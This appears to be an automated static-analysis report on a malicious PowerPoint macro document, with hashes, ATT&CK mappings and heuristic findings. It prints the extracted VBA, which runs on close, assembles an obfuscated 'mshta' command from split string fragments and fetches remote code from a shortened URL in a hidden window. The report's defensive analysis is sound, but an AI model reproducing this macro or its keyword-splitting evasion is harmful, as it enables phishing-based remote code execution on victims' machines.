Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 be155368717bf1d8…

MALICIOUS

Office (OOXML)

6.8 KB First seen: 2021-09-17
MD5: 179004aa666566aa242ebade4f597665 SHA-1: 81df404405f895abdff907e1cc7bc594e02ff2eb SHA-256: be155368717bf1d88098b48ab32cd0a38bf12a8b201cda0e324483386259df42
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro that is automatically executed via the Auto_Close subroutine. This macro reconstructs and executes a command string: "cmd /c msh

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 306 bytes
SHA-256: aa8b243c1fa25b26aed43f3d71291d4c60ae905bfaa75223f7833ec615b5e857
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/yuwqkhdkjas" & "eghkashdjka"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: 802f0b751160ff805c86f5924354d77c850d55deebbc1c6ed0488465ceb09e26

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